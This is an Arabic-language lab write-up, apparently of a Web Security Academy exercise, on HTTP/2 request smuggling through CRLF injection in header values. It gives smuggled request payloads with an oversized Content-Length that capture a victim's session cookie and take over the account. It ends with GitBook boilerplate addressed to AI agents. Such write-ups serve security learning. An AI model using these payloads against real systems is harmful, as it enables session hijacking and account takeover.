> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).

# تهريب طلبات HTTP/2 عبر حقن CRLF

### تهريب الطلبات في HTTP/2 عبر حقن CRLF

هذه المختبرية عرضة لتهريب الطلبات لأن الخادم الأمامي يحوّل طلبات HTTP/2 إلى HTTP/1 ولا ينظّف بعض الترويسات الواردة بشكل صحيح.

الهدف هو استغلال متجه تهريب خاص بـ HTTP/2 من أجل الوصول إلى حساب مستخدم آخر. تزور الضحية الصفحة الرئيسية كل 15 ثانية.

<figure><img src="/files/b013182d87d772da8101a88f35bf5c50f06f269f" alt=""><figcaption></figcaption></figure>

يُلاحظ أن التطبيق يحتفظ بسجلّ بحث، وهو مرتبط مباشرة بملف تعريف الارتباط الخاص بالجلسة.

<figure><img src="/files/778d132c1bcc86d98670acb955514dbacea438b6" alt=""><figcaption></figcaption></figure>

نبدأ بإرسال طلب تجريبي، لكن لا يظهر أي سلوك غير طبيعي

```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18

test=testing
```

يُظهر الفحص أن التحقق من الترويسات المتعلقة بـ **Transfer-Encoding** غير كافٍ. / لذا نحاول تجاوز التصفية: إزالة الـ `chunked` وإضافة ترويسة عشوائية جديدة في HTTP/2.

```http
Transfer-Encoding: chunked
```

يضيف Burp:

```http
الاسم:
test
القيمة:
test
Transfer-Encoding: chunked
```

<figure><img src="/files/b58db22f2d0edbc86485ac01d3b4d2930a640448" alt="" width="358"><figcaption></figcaption></figure>

يقبل الخادم التعديل، مما يؤكد سوء تنقية الترويسات.

<figure><img src="/files/b44bae6f9df18afbd3c65006ec7e579621830472" alt=""><figcaption></figcaption></figure>

الفكرة هي دفع الضحية إلى **إجراء طلب بحث يحتوي على ملف تعريف الارتباط الخاص بجلساتنا**، مع حقن مقدار مفرط من **Content-Length** بحيث يُدمَج طلبه التالي مع طلبنا.

الحمولة المهرَّبة:

```http
0

POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850

search=x
```

عندما يعالج الخادم الطلب التالي — طلب الضحية — يظهر محتواه في استجابتنا، متضمّنًا **ترويساته، وبالأخص ملف تعريف الارتباط الخاص بجلسته**.

<figure><img src="/files/bb1bd50ed1ebd546d4285e6c427472ec7c9b181a" alt=""><figcaption></figcaption></figure>

لذا يمكننا **الاستيلاء على جلسة المستخدم** والوصول إلى حسابه.

<figure><img src="/files/4612dfa6a2e826ed2bc83407a52ac73255b3326e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
